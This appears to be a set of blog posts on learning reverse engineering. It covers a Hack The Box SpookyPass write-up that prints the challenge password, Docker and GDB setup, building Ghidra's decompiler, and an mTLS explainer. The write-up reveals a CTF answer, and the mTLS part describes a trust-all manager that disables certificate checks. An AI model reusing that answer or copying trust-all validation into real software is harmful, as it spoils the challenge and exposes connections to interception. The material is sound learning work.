Before we let you in, you'll need to give us the password:

It runs. Because now there’s a Linux kernel underneath it that knows how to load an ELF. Same file, same bytes — the only thing that changed is the OS holding it.

One gotcha on Apple Silicon: ubuntu:24.04 pulls the arm64 image by default, and this pass is x86-64. If it complains, add --platform linux/amd64 to the docker run line and Docker runs it under emulation. On my Intel Mac the architectures already match, so it just works.

3. Tooling up the container

A fresh Ubuntu image is bare — no file, no gdb, nothing. Since I’ll be poking at binaries, I install the reversing basics once per container:

apt update
apt install -y \
  file \
  binutils \
  gdb \
  strace \
  ltrace \
  vim \
  curl \
  wget \
  python3

What each one buys me:

• file / binutils — file, plus strings, objdump, nm, readelf. The bread and butter.
• gdb — the debugger, for stepping through when static reading isn’t enough.
• strace / ltrace — trace system calls and library calls live. ltrace ./pass will literally show me the strcmp(...) call with both arguments as the program runs — often the fastest way to see a password compare.
• vim / curl / wget / python3 — editing, fetching, and quick scripting.

And here’s the thing that confused me the first time: next session, all of that is gone. New container, pristine Ubuntu, no strings, no vim. The next section is why — and how to make it stop.

4. Why my tools vanish every session — image vs container

I exited the container, came back later, ran the same docker run … line, and strings was “command not found” again. I hadn’t done anything wrong — I’d just misunderstood what --rm and the image actually are.

Two ideas untangle the whole thing:

• Image = a frozen, read-only template (ubuntu:24.04). Reusable, never changes.
• Container = a running, throwaway instance of that image. This is where bash lives, and where my apt installs landed.

Now re-read the flag: --rm means “delete this container the moment I exit.” So my installs went into the container, and --rm threw the container away on exit. The image is untouched — and the image never had my tools — so the next docker run builds a brand-new container from pristine ubuntu:24.04, with nothing installed. It doesn’t continue the old session; it’s a fresh one every time.

The only thing that survived is /work — because that’s a mount, a window into my real Mac filesystem, not part of the container at all. Files persist; runtime installs don’t.

The mental model that made it click:

Installs done at runtime (apt install inside the container) live in the container and die with --rm. Installs done in a Dockerfile live in the image and persist.

So the fix is to bake the tools into the image instead of the container.

The fix: a Dockerfile

I dropped a Dockerfile in my learn-re folder:

FROM ubuntu:24.04

# Reverse-engineering toolkit baked into the IMAGE so it survives --rm
RUN apt update && apt install -y \
    binutils \
    gdb \
    gdb-multiarch \
    gcc \
    file \
    vim \
    radare2 \
    xxd
WORKDIR /work

Build it once:

cd ~/Documents/Dilip/Github/learn-re
docker build -t re-lab .      # -t names the image "re-lab"; "." = use the Dockerfile here

My tools now live in the image. The last piece is to stop throwing the container away each time — so instead of --rm, I create one named container and resume it every session:

docker run -it --name relab -v "$PWD:/work" re-lab bash   # first time only — creates "relab"
docker start -ai relab                                    # every session after — same container

docker start -ai relab is the whole daily workflow now — not a fresh docker run. run always builds a new container from the image; start resumes the one I already have. Dropping --rm buys me two things: the image’s baked-in tools are there from the first second, and anything I apt install later (like less) survives into the next session instead of vanishing with the container. I still rebuild the image — docker build -t re-lab . — only when I want a tool in every future container, or to bake in users/groups so the setup is reproducible.

Decoding that create line, flag by flag

The first-time docker run stops being magic once you read it as parts:

docker run   -it   --name relab   -v "$PWD:/work"   re-lab   bash
└───┬────┘  └┬┘   └────┬─────┘   └──────┬───────┘  └──┬─┘   └─┬─┘
  the verb   │     keep + name         mount          image  command
        interactive  the container                    name   to run

• docker run — create a new container and start it. I run this once; after that I reuse it with docker start, never run again.
• -it — two flags: -i keeps input open so I can type; -t gives a real terminal (prompt, colors, Ctrl-C). Without them bash starts, sees no human attached, and exits immediately.
• --name relab — give the container a stable name. And notice what’s missing: no --rm. So when I exit, the container stops but isn’t deleted — docker start -ai relab brings it (and everything I installed in it) back.
• -v "$PWD:/work" — mount my current Mac folder at /work inside the container. This is the bridge between the two worlds: edits live on the Mac, so they’re safe no matter what happens to the container.
• re-lab — which image to instantiate. My custom one.
• bash — what to run inside. (I could run re-lab gdb ./pass to drop straight into gdb instead.)

And why cd first? Because -v "$PWD:/work" mounts wherever I’m standing. I cd into learn-re so the right folder gets mounted — run it from ~ and I’d mount my entire home directory. (I could skip the cd by writing the absolute path: -v ~/Documents/Dilip/Github/learn-re:/work.)

Why I keep one container alive instead of a fresh one each time

A container lives only as long as the process inside it. … re-lab bash exists only while that bash is open; type exit and the process ends, so the container stops. With --rm it’s also deleted; with a named container it just sits there stopped, ready to resume.

That difference is exactly why I stopped using --rm. The first time I apt installed less (or set up a devs group) inside a --rm container, it died on exit — and the next docker run started pristine again, so I’d be reinstalling less every single session. With a named container I just docker start -ai relab and last session’s state is all still there.

docker run -it --name relab -v "$PWD:/work" re-lab bash   # once
docker start -ai relab                                    # every session after

The rule of thumb I landed on: tools I always want go in the Dockerfile (reproducible, present in every container); the persistent container holds the session state I pick up as I work — extra installs, users, scratch setup. Files stay on the Mac via /work either way. The only cost is one named container sitting on disk — docker rm relab whenever I want a clean slate.

5. Cracking the easy SpookyPass: strings

SpookyPass is the gentlest possible reversing intro, and it teaches exactly one lesson: a hardcoded secret is not a secret. The program compares your input against a password baked into the binary — and strcmp needs the real password in plaintext to compare against. Which means it’s just sitting there in the file’s data section.

So before any disassembly, dump every printable string in the binary:

root@0ad7bc1c335a:/work# strings ./pass
...
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password:
s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5
Welcome inside!
You won't easily get the password from me
...

There it is — s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5, nestled right between the prompt and the success message. (Same string I later watched fall out of Ghidra’s decompiler in the reverse-engineering 101 walkthrough — strings just gets you there in one command instead of a full analysis pass.)

Feed it back to the program:

root@0ad7bc1c335a:/work# ./pass
Welcome to the SPOOKIEST party of the year.
Before we let you in, you'll need to give us the password:
s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5
Welcome inside!
HTB{...}

And the program hands over the HTB{...} flag. Three steps, no debugger: strings → read the password → paste it back.

If strings had spat out thousands of lines, I’d narrow it — strings ./pass | grep -i pass, or pipe through less — but for SpookyPass the password is right there in the open.

What I took away

1. exec format error is an OS/format mismatch, not a bug. Before doing anything else, run file on the binary. ELF + for GNU/Linux on a Mac means “wrong operating system,” and no amount of chmod +x will fix that — you need a Linux kernel under it.
2. Docker is the cheapest Linux you’ll ever spin up. docker run --rm -it -v "$PWD:/work" ubuntu bash gives me a real Linux userland with my files mounted in, in seconds, and cleans itself up on exit. No VM, no dual boot, for a one-file challenge.
3. Image vs container is the whole mental model. The image is the frozen template; the container is the throwaway instance. --rm deletes the container, so anything I apt install at runtime dies with it — that’s why my tools vanished every session. Bake them into a Dockerfile and they live in the image, surviving --rm forever.
4. -v "$PWD:/work" is a mount, not a copy. The binary is the same bytes on both sides — which is the whole point. macOS holding the file and macOS running it are different acts; Docker only changes the second. Files in /work survive --rm because they never lived in the container.
5. The simplest crack is strings. Anything compared with strcmp lives in the binary as plaintext. SpookyPass exists to make that visceral: the “secret” is one strings away. If a value must actually stay private, it can’t be a literal in the program.

Next rung on the ladder is a SpookyPass variant where the password is built up at runtime or lightly obfuscated so strings shows nothing useful — that’s where ltrace ./pass (watch the strcmp arguments live) and Ghidra start earning their keep. But the workflow is set now: file to diagnose, Docker to run, and the lightest tool that cracks it first.

This is the story of a classic C mistake (scanf without the &), what it looks like inside GDB’s TUI, and why the crash happens at the register level. The compiler even warned me before I ran it — and the warning turns out to be the whole explanation.

1. The buggy program

hello.c — asks for a number, prints it back. One character is wrong:

#include <stdio.h>

int main(void) {
  int d = 2;
  printf("Welcome to the Debugging programming!\n");

  scanf("%d", d);          // BUG: should be &d

  printf("you gave number is : %d\n", d);
  return 0;
}

scanf("%d", d) passes d — the value 2 — where scanf expects a pointer to write into. The intent was &d, the address of d. Hold that thought.

2. The compiler already told me

I compiled with -g so GDB gets source-level debug info, and gcc immediately flagged it:

root@ae22e7a5f3d9:/work/src# gcc -o hello hello.c -g
hello.c: In function 'main':
hello.c:7:14: warning: format '%d' expects argument of type 'int *',
              but argument 2 has type 'int' [-Wformat=]
    7 |   scanf("%d", d);
      |          ~^   ~
      |           |   |
      |           |   int
      |           int *

Read that carefully — it’s the bug in full. %d for scanf expects int * (a pointer to write the parsed number into), but I handed it an int. gcc compiled it anyway (it’s a warning, not an error), so I got an executable with a live landmine in it:

root@ae22e7a5f3d9:/work/src# file hello
hello: ELF 64-bit LSB pie executable, x86-64, ... with debug_info, not stripped

with debug_info, not stripped — exactly what I want for GDB. (Contrast with the stripped HTB binary from the SpookyPass writeup, where there were no symbols at all.)

3. Driving GDB’s TUI

Load it up:

root@ae22e7a5f3d9:/work/src# gdb hello
...
Reading symbols from hello...
(gdb)

The single command that turns GDB from a text prompt into a real debugger view:

(gdb) lay next

layout next cycles through GDB’s TUI panes. Keep running it and you get source, then assembly, then registers — split-screen above the command line, with the current line highlighted as you step. For this bug the three views I care about are source (to see which C line we’re on), asm (to see the actual instruction that faults), and regs (to see the bad pointer).

Set a breakpoint at main and start:

(gdb) break main
Breakpoint 1 at 0x...: file hello.c, line 5.
(gdb) run

Execution stops at the top of main. Now step one source line at a time:

(gdb) next        # or just `n` — run the current line, stop at the next

• next (n) — execute the current line; step over function calls.
• step (s) — like next, but step into calls.
• nexti / stepi — same idea, one instruction at a time (handy in the asm pane).

TUI got garbled? Program output and GDB share the screen, so the panes smear. refresh (or Ctrl-L) redraws everything. I needed it constantly once the program started printing.

Step until you’re sitting on the scanf line, then run it. The moment I type a number (34) and hit enter:

(gdb) next
34
Program received signal SIGSEGV, Segmentation fault.
0x00007f0c30958146 in __vfscanf_internal (s=<optimized out>, format=<optimized out>,
    argptr=argptr@entry=0x7ffd85143230, mode_flags=mode_flags@entry=2)
    at ./stdio-common/vfscanf-internal.c:1976

SIGSEGV — a segmentation fault, inside scanf itself. The crash isn’t in my line of source; it’s deep in glibc’s __vfscanf_internal at line 1976. That’s the tell: my code handed scanf something poisonous, and scanf died trying to use it. Note argptr — that’s the saved pointer to my call’s arguments, the thing scanf is about to read the (bad) pointer out of.

4. Why it crashes — an int used as an address

This is where the asm and register panes earn their place. Open them with lay next until you see the disassembly, and look at the exact instruction GDB stopped on:

(gdb) x/i $pc
=> 0x7f0c30958146 <__vfscanf_internal+18710>:    mov    %edx,(%rax)

mov %edx,(%rax) is the whole crime in one instruction. It means: store the value in edx into the memory at the address in rax. In C terms, *(int *)rax = edx. So rax had better be a valid, writable address — and edx is the number being written. The two instructions just above it (visible in the asm pane) set this up:

+18707   mov    (%rax),%rax        ; load the pointer argument out of the arg area
+18710   mov    %edx,(%rax)        ; *** write the parsed int through it  <-- crash

Now read the registers at the moment of the fault (lay regs, or info registers):

rax    0x2    2          <-- the "pointer" scanf is writing through
rdx    0x22   34         <-- the number I typed (0x22 == 34), waiting in edx
rsi    0x22   34
...
rip    0x7f0c30958146    <__vfscanf_internal+18710>

There it is, laid bare:

• edx = 0x22 = 34 — the integer scanf parsed from my input. That’s the value it wants to store. Correct.
• rax = 0x2 — the address it’s about to store into. That is not an address — it’s the value of d. I passed d (which was 2), so the number 2 got used as a pointer.

So mov %edx,(%rax) executes as:

*(int *)0x2 = 34;     // write 34 to memory address 0x2

Address 0x2 is in the very bottom of the address space — not memory this process owns, not writable. The CPU raises a fault, the kernel kills the program, SIGSEGV. The crash isn’t about the number 34 being wrong; it’s that an int (2) got used where an address belonged, so scanf wrote through a garbage pointer.

To prove what the pointer should have been:

(gdb) print &d
$1 = (int *) 0x7ffd85143...    # a real stack address, up near rbp/rsp — NOT 0x2

&d is a real stack address (right in the range of rbp = 0x7ffd85143220 from the register dump). That’s what rax needed to hold. Instead it held 0x2.

And this is precisely what gcc warned about back in step 2: expects 'int *', but argument 2 has type 'int'. The warning predicted the exact crash — edx into (%rax) where rax is an int, not a pointer.

5. The one-character fix

Give scanf the address of d, so it has a real place to write:

int main(void) {
  int d = 2;
  printf("Welcome to the Debugging programming!\n");

  scanf("%d", &d);                       // &d — the address, not the value

  printf("you gave number is : %d\n", d);
  return 0;
}

Recompile — no warning this time — and step through it in GDB again. Now rsi holds &d (a real 0x7fff… stack address), scanf writes the parsed number safely into d, and the program prints it back and exits 0. No SIGSEGV. The & is the entire difference between “here is a box to put the number in” and “here is the number 2, now go write to address 2.”

What I took away

1. scanf needs addresses, printf needs values. printf("%d", d) is right because it only reads d. scanf("%d", &d) needs the & because it has to write back into d — and to write into a variable you must hand over where it lives, not what it currently holds. Forgetting the & is the most common C beginner crash, and now I’ve seen exactly why.
2. Compiler warnings are predictions, not noise. expects 'int *', but argument 2 has type 'int' described the segfault before I ever ran the program. Compiling with warnings on (and reading them) would have caught this with zero debugging.
3. A SIGSEGV inside a library usually means you passed it garbage. The crash was in glibc’s __vfscanf_internal, not my code — but the cause was my bad pointer. When a fault lands deep in a library, walk back up to what you handed it.
4. GDB’s TUI makes the abstract concrete. lay next + break main + run + next, with the asm and register panes open, turned “a pointer is an address” from a sentence into something I watched happen: mov %edx,(%rax) with rax = 0x2 and edx = 34 — the parsed number being written through the value of d instead of its address. refresh (Ctrl-L) when the panes smear.

Next I want to point this same workflow at a binary I didn’t write — set a breakpoint on strcmp in a CrackMe and read the password straight out of the registers as it’s compared, the dynamic-analysis counterpart to the static strings trick.

This post is the trail of how I tracked it down, because the first fix I tried was wrong in an instructive way, and the real fix is a one-line build target that almost nobody documents.

1. The symptom: a missing native binary

Ghidra is mostly Java, but the decompiler is a native C++ program that the Java side talks to over a pipe. It lives under the install at:

Ghidra/Features/Decompiler/os/<platform>/decompile

There’s one folder per platform. Mine looked like this:

os/
├── linux_x86_64/   decompile  sleigh
├── mac_arm_64/     decompile  sleigh
├── mac_x86_64/                sleigh      ← decompile is MISSING
└── win_x86_64/     decompile  sleigh

Every platform shipped both sleigh (the disassembler) and decompile — except mac_x86_64, which only had sleigh. That’s the binary Ghidra was failing to launch.

The tempting shortcut: “mac_arm_64 has a decompile, just copy that one over.” No. I’m on a real Intel Mac (sysctl machdep.cpu.brand_string → Intel(R) Core(TM) i7-9750H). An arm64 binary will not run on Intel — Rosetta translates the other direction (x86_64 on Apple Silicon), not arm64 on Intel. The arm copy is dead weight here. I need a genuine x86_64 decompile.

Good news: the prebuilt Ghidra ships its full C++ source + Makefile, and macOS already has clang++, make, bison, and flex. So I can compile the one missing binary myself, version-matched to the install.

2. The wrong fix: make decompile

The obvious move is to cd into the C++ source and build:

cd Ghidra/Features/Decompiler/src/decompile/cpp
make -j4            # or: make decompile

Both blow up immediately with the same error, repeated across several files:

./loadimage_bfd.hh:37:10: fatal error: 'bfd.h' file not found
   37 | #include <bfd.h>
      |          ^~~~~~~
In file included from bfd_arch.cc:17:
In file included from codedata.cc:18:
In file included from analyzesigs.cc:17:
make: *** [com_dbg/depend] Error 1

bfd.h is the Binary File Descriptor library header, part of GNU binutils. macOS doesn’t ship it. The natural next step everyone reaches for is brew install binutils and then wiring up include paths — and that’s a rabbit hole of version mismatches and linker flags.

It’s also completely unnecessary. The clue is which files need bfd.h: loadimage_bfd, bfd_arch, analyzesigs, codedata. Those belong to the standalone command-line decompiler — a separate program that loads ELF/Mach-O/PE files on its own using BFD. That’s not what Ghidra uses. Ghidra feeds bytes to the decompiler over a pipe; it never needs BFD at all.

3. Reading the Makefile: two different “decompile” binaries

The Makefile defines several object-file sets. The relevant two:

COMMANDLINE_NAMES = $(CORE) $(DECCORE) $(EXTRA) $(SLEIGH) consolemain
GHIDRA_NAMES      = $(CORE) $(DECCORE) $(GHIDRA)

• COMMANDLINE_NAMES → the decomp_opt / decompile target. Pulls in $(EXTRA), which is where the BFD loaders live. Needs bfd.h.
• GHIDRA_NAMES → the ghidra_opt target. Uses loadimage_ghidra (the pipe loader) instead. No BFD anywhere.

And the binary that gets installed into os/<platform>/decompile is built by ghidra_opt, confirmed by the install rule:

install_ghidraopt: ghidra_opt
	cp ghidra_opt $(GHIDRA_BIN)/Ghidra/Features/Decompiler/os/$(OSDIR)/decompile

There’s even a guard that explains why make decompile tried to compile the BFD files at all. The Makefile picks which dependency-scan to run based on the goal you ask for:

DEPNAMES = com_dbg/depend com_opt/depend     # default — scans the BFD sources
ifeq ($(MAKECMDGOALS),ghidra_opt)
	DEPNAMES = ghi_opt/depend                # ← BFD-free scan
endif

So with no explicit goal, make runs the command-line dependency scan, which #includes bfd.h just to generate dependencies — and dies before compiling a single real object. Ask for ghidra_opt and it switches to the BFD-free scan entirely. The error was never about my toolchain; it was about asking for the wrong target.

4. The right fix: make ghidra_opt

cd Ghidra/Features/Decompiler/src/decompile/cpp
make ghidra_opt -j4

Builds clean — no bfd.h, no Homebrew, nothing. It compiles ~70 .cc files and links a single executable named ghidra_opt:

ghidra_opt: Mach-O 64-bit executable x86_64

(Note it built x86_64 by default, because that’s what the machine reports. Exactly what I need.) Then drop it into the empty slot under the name Ghidra expects:

cp ghidra_opt ../../../os/mac_x86_64/decompile
xattr -d com.apple.quarantine ../../../os/mac_x86_64/decompile   # clear Gatekeeper flag
chmod +x ../../../os/mac_x86_64/decompile

Quick sanity check that macOS doesn’t kill it on launch (Gatekeeper would show Killed: 9):

echo "" | ./decompile ; echo "exit=$?"
# exit=0   → launches and exits cleanly, not blocked

Restart Ghidra, reopen the project, click main — the Decompiler panel now renders C, strcmp(input, "s3cr3t_p455_f0r_gh05t5_4nd_gh0ul5") and all. Done.

What I’d tell past-me

Three things, in order of how much time each would have saved:

1. Don’t copy the arm binary onto an Intel Mac. Check the real CPU with sysctl machdep.cpu.brand_string, not uname -m (which can lie under Rosetta). Wrong-arch binaries don’t error helpfully — they just refuse.
2. bfd.h not found is not a “go install binutils” problem. It’s a “you asked for the wrong make target” problem. The file that needs it (loadimage_bfd) is for the standalone decompiler, which Ghidra never uses.
3. The target is ghidra_opt, not decompile. One word, and the whole BFD dependency vanishes because the Makefile switches to a different dependency scan for that goal.

The deeper lesson is the same one I keep relearning: when a build fails on a missing header, read which sources pull it in before you start installing things. Half the time the header belongs to a component you don’t even want, and the fix is to stop building that component — not to satisfy it.

If I ever reinstall or upgrade Ghidra, this binary disappears again, so it’s worth keeping the two commands (make ghidra_opt -j4 + the cp) somewhere I can find them. Like, say, this post.

The fastest way I found to actually get it is to play both sides: write a tiny program myself, compile it, and then pretend I’ve never seen the source — open the binary in Ghidra and see how much of my own code I can recover. This post is that full loop, start to finish, on a program small enough to fit in your head.

(If you hit the “Decompiler panel won’t load” wall on an Intel Mac while following along, that’s its own rabbit hole — I wrote it up separately in building Ghidra’s missing decompiler binary.)

1. The target: a password check in C

Nothing fancy. A program that asks for a password and compares it against a hardcoded string:

#include <stdio.h>
#include <string.h>

int main(void) {
  char name[64];

  printf("Enter your password: ");

  if (scanf("%63s", name) != 1) {
    fprintf(stderr, "No input received.\n");
    return 1;
  }

  if (strcmp(name, "FuckingPasswordHey") == 0) {
    printf("password was right\n");
  } else {
    printf("wrong password\n");
  }

  return 0;
}

The whole point of the exercise is that secret string. It’s hardcoded into the program — and as we’ll see, “hardcoded” means “sitting in plaintext in the binary for anyone with a decompiler to read.” That’s the lesson the rest of the post drives home.

2. Compile and run it locally

I’m on macOS, so clang is already there (gcc works the same way on Linux). I keep the source as pass.c and drop the executable into a build/ folder so the working directory stays clean:

mkdir -p build
clang pass.c -o build/pass

No flags, no optimisation — the plain default build. Run it:

$ ./build/pass
Enter your password: hello
wrong password

$ ./build/pass
Enter your password: FuckingPasswordHey
password was right

Works exactly as written. Now the fun part: forget the source exists. We have build/pass and a question — what’s the password?

3. Import the binary into Ghidra

1. Launch Ghidra and create a new project (File → New Project → Non-Shared Project).
2. Drag build/pass into the project window, or File → Import File. Ghidra reads the header and identifies it — on my Mac it shows up as a Mach-O x86_64 executable (on Linux you’d see ELF).
3. Double-click the imported file to open it in the CodeBrowser.
4. It pops up “… has not been analyzed. Would you like to analyze it now?” — say Yes and accept the default analyzers. This is where Ghidra disassembles every function, follows the call graph, recovers strings, and matches library signatures.

When analysis finishes, find the entry point. Open the Symbol Tree on the left, expand Functions, and click main (a stripped binary may only show entry — same idea, follow it down). The center pane fills with assembly; the right pane is the Decompiler.

4. Reading the assembly

The disassembly listing is the literal x86_64 instructions Ghidra recovered. You don’t need to read all of it, but a few landmarks tell the whole story even before you look at the C:

• A LEA loading the address of the "Enter your password: " string, followed by a CALL to printf.
• A CALL to scanf with the "%63s" format string.
• A LEA pointing at a string that says FuckingPasswordHey, then a CALL strcmp.
• A TEST/JNZ on the result that branches to either the "password was right" or "wrong password" printf.

That third bullet is the whole game. The secret never gets hashed or obfuscated — strcmp needs the real bytes to compare against, so the plaintext password sits right there in the binary’s read-only data, and Ghidra labels the cross-reference for you. You can also jump straight to it via Window → Defined Strings, which lists every string the analyzer found.

5. The Decompiler — assembly back into C

This is the payoff. With main/entry selected, the Decompiler pane reconstructs C-like pseudocode from the assembly:

undefined4 entry(void)
{
  int iVar1;
  undefined4 local_5c;
  char local_58 [72];
  long local_10;

  local_10 = *(long *)PTR____stack_chk_guard_100001008;
  _printf("Enter your password: ");
  iVar1 = _scanf("%63s",local_58);
  if (iVar1 == 1) {
    iVar1 = _strcmp(local_58,"FuckingPasswordHey");
    if (iVar1 == 0) {
      _printf("password was right\n");
    }
    else {
      _printf("wrong password\n");
    }
    local_5c = 0;
  }
  else {
    _fprintf(*(FILE **)PTR____stderrp_100001010,"No input received.\n");
    local_5c = 1;
  }
  if (*(long *)PTR____stack_chk_guard_100001008 == local_10) {
    return local_5c;
  }
                    /* WARNING: Subroutine does not return */
  ___stack_chk_fail();
}

Put the original source next to this and the mapping is almost one-to-one. Worth noticing how the names change, because that’s the texture of real RE work:

• local_58 is my name[64]. Ghidra has no variable names from a compiled binary, so it invents them from stack offsets. It also sizes the buffer as [72], not [64] — the extra bytes are stack alignment padding the compiler added, not something I wrote.
• local_5c is the return value — 0 on the success path, 1 on the no-input path, exactly matching return 0; / return 1;.
• __stack_chk_guard / __stack_chk_fail are not mine at all. The compiler inserted a stack canary: it stashes a guard value, and before returning it checks the value is untouched. If a buffer overflow smashed the stack, the check fails and the program aborts instead of returning to attacker-controlled code. That’s why there’s a comparison wrapped around the return and a WARNING: Subroutine does not return on __stack_chk_fail. Reading decompiled output means learning to tell your logic apart from the compiler’s boilerplate.
• The string survived perfectly. _strcmp(local_58, "FuckingPasswordHey") — there it is, in plaintext, no source required. We answered “what’s the password?” purely from the binary.

What I took away from the loop

A few things clicked that no amount of just reading about RE had done:

1. Hardcoded secrets are not secret. A string compared with strcmp lives in the binary as plaintext. If something must stay private, it can’t be a literal in the program — it has to be hashed, or never shipped to the client at all. Seeing my own password fall out of the decompiler in thirty seconds made that visceral.
2. The decompiler is a reconstruction, not the original. Variable names are gone, types are guessed (undefined4), buffer sizes include padding, and compiler-inserted machinery (stack canaries, alignment) shows up as if I’d written it. Half the skill is separating my logic from the compiler’s.
3. Build it yourself first. Compiling a program you wrote and then reversing it gives you an answer key. You can check every guess against the source, which is how the assembly mnemonics and Ghidra’s conventions stop being noise and start being readable.

Next step for me is to recompile this same program with -O2 and strip the symbols, then see how much harder the decompiler output gets to read — because real targets never come with a main label waiting in the Symbol Tree.

TLS (the “S” in HTTPS) The client opens a secure channel to the server. The server proves who it is by presenting a certificate signed by a trusted Certificate Authority (CA). The client checks it, both sides agree on an encryption key, and from then on the bytes are encrypted. Only the server’s identity is verified — the server has no idea who you are yet.

mTLS (mutual TLS) Same handshake, but with one extra step: the client also presents a certificate, and the server verifies it before the handshake completes. If the client cert is missing, expired, or signed by a CA the server doesn’t trust, the connection is refused at the TLS layer — your HTTP request never even gets sent. This is how government / banking ERPs (KACARE etc.) gate access at the network level: no cert, no entry.

Basic Auth Once the TLS channel is open, the server still doesn’t know which user is calling. Basic Auth solves that at the HTTP layer: you send Authorization: Basic base64(username:password) in the header. Server decodes, checks credentials, returns 200 or 401. Basic Auth is only safe because TLS encrypts it — over plain HTTP, the password is effectively in clear text.

OAuth 2 Bearer (client credentials) Same idea as Basic Auth but indirect. Instead of sending the password on every request, you POST your clientId + clientSecret to a token endpoint, get back a short-lived access_token, and send it as Authorization: Bearer <token> on subsequent calls. The benefit: tokens expire (so leaks have a shelf life), and they can carry scopes/roles.

Key point: these are not alternatives. They stack:

• TLS + Basic = HTTPS with username/password
• mTLS + Basic = client cert AND username/password
• mTLS + OAuth Bearer = client cert AND access token
• mTLS alone = the cert itself IS your identity, no header auth needed

mTLS authenticates the machine/process. Basic / OAuth authenticates the user / service. Different layers, different jobs. The integration we’ll see later supports all four combinations behind one endpoint.

2. The mTLS handshake, step by step

Client                                       Server
  |                                            |
  |--- ClientHello (supported ciphers) ------->|
  |                                            |
  |<-- ServerHello + Server Certificate -------|
  |<-- CertificateRequest ---------------------|   <-- mTLS-specific
  |<-- ServerHelloDone ------------------------|
  |                                            |
  |--- Client Certificate -------------------->|   <-- mTLS-specific
  |--- ClientKeyExchange --------------------->|
  |--- CertificateVerify --------------------->|   <-- proves client owns the cert
  |--- Finished ------------------------------>|
  |                                            |
  |<-- Finished -------------------------------|
  |                                            |
  |======= encrypted application data ========>|

The two lines marked mTLS-specific are what turns a plain TLS handshake into mTLS:

1. CertificateRequest — the server says “I require a certificate to continue.” This is configured on the server side (ssl_verify_client on; in nginx, an option on the load balancer, a setting in the API gateway). The client either presents one or the handshake aborts.

2. CertificateVerify — the client signs a transcript of the handshake so far with its private key. The server verifies that signature against the public key inside the client cert. This proves the client actually owns the private key matching the cert it presented — not just that it grabbed someone else’s .crt file off a shared server.

If either step fails, the TCP connection is torn down at the network layer. Your HTTP request never goes out, and there’s no HTTP response code — the socket just dies. That’s why mTLS errors look so different from 401/403 errors.

3. Where the client cert actually comes from

mTLS is useless without a chain of trust. Concretely, when integrating with an ERP that requires mTLS:

1. The server admin tells you which CA they trust. Sometimes a public CA, more often a private CA they run themselves (KACARE for Saudi government, internal CAs for B2B integrations, the bank’s CA for payment APIs).
2. You request a client certificate from that CA. Generate a key pair locally with openssl, send the CA a CSR (Certificate Signing Request), they sign it with their CA key, and hand you back a client.crt.
3. You keep client.key secret — this is the file whose loss equals identity theft — and present client.crt on every connection.
4. The server verifies the cert was signed by their CA, checks expiry, optionally checks revocation (CRL or OCSP), and lets the handshake proceed.

For a typical government / bank integration, steps 1–3 are a paperwork exercise that takes one to two weeks. You’ll usually get a .zip containing client.crt, client.key, and ca-chain.crt (the CA bundle, in case your machine doesn’t already trust their root CA).

4. The certificate file format zoo

PEM, DER, PKCS, JKS, P12 — these are all different ways of packaging the same underlying X.509 data:

Rule of thumb:

• PEM = what cURL / OpenSSL / nginx / Apache eat natively.
• PKCS#12 / JKS = what Java / Windows / macOS Keychain eat natively.
• Converting between them is a one-line openssl or keytool command.

Knowing which format your vendor handed you is the difference between a 5-minute config job and a 5-hour debugging session.

5. Why curl --cert client.crt --key client.key URL is one line

cURL is built on top of OpenSSL. OpenSSL was designed to read PEM files (-----BEGIN CERTIFICATE-----, -----BEGIN PRIVATE KEY-----) directly off the disk. The cURL maintainers wired up the plumbing once. You hand cURL two file paths and it does everything: parses the cert, parses the key, builds the SSL context, runs the mTLS handshake, sends your request. That’s it.

6. Why Java / Spring needs ~150 lines for the same thing

Spring’s RestTemplate doesn’t do TLS itself — it hands the connection off to an HTTP client (Apache HttpClient in our case), which hands TLS off to the JDK’s JSSE (Java Secure Socket Extension). And JSSE is strict and old:

1. JSSE refuses raw PEM files. It only accepts certs and keys packaged inside a KeyStore (a binary container in PKCS12 or JKS format). So we have to read the PEM, parse it, build a KeyStore in memory, populate it.

2. JSSE only accepts PKCS#8 private keys. PEM keys come in two flavors:
   • -----BEGIN PRIVATE KEY----- → PKCS#8 ✅ accepted
   • -----BEGIN RSA PRIVATE KEY----- → PKCS#1 ❌ rejected

   The wrapPkcs1RsaAsPkcs8(...) method in our factory exists purely to add a 26-byte PKCS#8 envelope around a PKCS#1 key so JSSE will accept it. OpenSSL handles both formats natively — that’s why cURL doesn’t need this.

3. You have to build the SSLContext by hand. Load cert → parse key → put both into a KeyStore → feed it to a KeyManagerFactory → get back a KeyManager[] → hand it to SSLContext.init(...). Five objects, each with their own ceremony.

4. You have to wire the SSLContext into the HTTP client. For Apache HttpClient 5:
   • Build an SSLConnectionSocketFactory from the SSLContext
   • Wrap it in a PoolingHttpClientConnectionManager
   • Build a CloseableHttpClient
   • Wrap that as a HttpComponentsClientHttpRequestFactory
   • Pass that to new RestTemplate(...)

   Five layers of object construction to do what cURL does with two flags.

5. Optionally disable cert validation (when the server uses a self-signed cert your JDK doesn’t know about). cURL has -k. In Java you replace the default TrustManager with a custom X509TrustManager whose methods do nothing — that’s the TrustAllManager class at the bottom of our factory.

So every line of MtlsRestTemplateFactory maps to one of these JSSE requirements. It’s not over-engineered — JSSE is just the way it is.

7. The shortcut we could have taken (and why we didn’t)

If you run this once outside the app:

openssl pkcs12 -export -in client.crt -inkey client.key -out client.p12

…you get a client.p12 file Java loads in ~5 lines. We’d skip the PEM parsing, the PKCS#1 → PKCS#8 wrapping, all of it.

We didn’t do that because it makes deployment depend on someone remembering to run openssl and copy the .p12 to the right path. By parsing PEM directly in code, the ops side just drops client.crt and client.key on the server, sets two paths in properties, and the app handles the rest.

That’s the trade: more Java code, simpler operations.

8. Debugging cheat sheet (memorize this layer-by-layer)

Rule: if you see 401/403, the network is fine — argue with the server admin. If you see SSLHandshakeException, you haven’t even reached the application yet — fix the certs.

Before you blame Java — prove the certs work with openssl s_client

Before debugging Java, prove the certs work outside any Java code:

openssl s_client \
  -connect erp.example.gov.sa:443 \
  -cert client.crt \
  -key client.key \
  -showcerts

What to look for in the output:

• Verify return code: 0 (ok) → handshake succeeded with mTLS. Your certs are good. The bug is in Java config.
• alert handshake failure → server rejected your cert. Wrong cert, wrong CA, or expired.
• Verify return code: 21 (unable to verify the first certificate) → server cert isn’t trusted by your machine. Add -CAfile server-ca.crt, or -noverify for a quick check.
• no peer certificate available → server didn’t ask for a client cert. The endpoint isn’t actually mTLS-protected, or you hit the wrong port.

